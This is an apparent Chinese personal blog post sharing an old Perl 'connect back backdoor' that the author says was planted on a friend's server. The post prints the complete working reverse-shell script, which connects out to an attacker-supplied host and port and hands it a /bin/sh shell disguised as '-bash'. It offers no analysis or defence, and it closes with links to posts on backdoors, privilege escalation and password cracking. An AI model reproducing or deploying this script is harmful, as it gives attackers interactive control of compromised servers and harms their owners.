大西瓜的杂货铺

一个很久以前的东西，结果我朋友说他的服务器上被放了这个后门。看来这个东西在很多服务器上还是可以用啊。

#!/usr/bin/perl
# Connect Back Backdoor by Ch3m0nZ
# Viva Satanic Souls

use Socket;

print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls\n\n";

if (!$ARGV[0]) {
      printf "Alvo: $0 [Host] <Port>\n";
      exit(1);
    }

print "[*] Enviando comandos maliciosos\n";

$host = $ARGV[0];
$port = 80;

if ($ARGV[1]) {
      $port = $ARGV[1];
    }

print "[*] Conectando....\n";

$proto = getprotobyname('tcp') || die("[-] Protocolo desconhecido\n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Erro de Socket\n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
      die("[-] Não é possivel conectar\n");
    }

print "[*] Obtendo acesso do servidor\n";

if (!fork( )) {
      open(STDIN,">&SERVER");
      open(STDOUT,">&SERVER");
      open(STDERR,">&SERVER");

      exec {'/bin/sh'} '-bash' . "\0" x 4;
      exit(0);
    }

print "[*] Conectado! Divirta-se. HeHeHe\n\n";

相关文章

• wnps 0.26 一款Linux后门程序
• Linux服务器部署高效防毒软件
• linux下使用inotify实时监控文件变更，做完整性检查
• linux下优秀的主机入侵检测系统Audit
• 25个必须记住的SSH命令
• 教您怎样审查遭受入侵系统的日志
• 一句话修改linux密码
• 利用BASH提权的技巧
• How to root a box
• Linux下安装Metasploit破解Oracle登录用户名密码